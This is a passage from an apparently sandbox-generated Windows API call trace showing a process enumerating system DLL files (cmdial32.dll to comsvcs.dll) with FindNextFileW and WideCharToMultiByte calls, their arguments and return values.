lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0xa8c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0xa8c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.742] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0248.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0xa8c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0248.743] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0248.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.744] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0248.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x545448, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.745] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 